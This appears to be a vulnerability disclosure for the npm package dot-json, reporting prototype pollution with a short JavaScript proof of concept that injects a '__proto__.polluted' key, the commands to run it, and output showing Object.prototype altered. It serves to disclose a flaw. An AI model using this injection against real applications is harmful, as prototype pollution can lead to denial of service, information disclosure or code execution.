Description

dot-json is vulnerable to Prototype Pollution. This package allowing for modification of prototype behavior, which may result in Information Disclosure/DoS/RCE.

Proof of Concept

1. Create the following PoC file:

// poc.js
var dotJson = require("dot-json")
var myfile = new dotJson('myfile.json');
console.log("Before : " + {}.polluted);
myfile.set("__proto__.polluted", "Yes! Its Polluted").save();
console.log("After : " + {}.polluted);

2. Execute the following commands in another terminal:

npm i dot-json # Install affected module
node poc.js #  Run the PoC

3. Check the Output:

Before : undefined
After : Yes! Its Polluted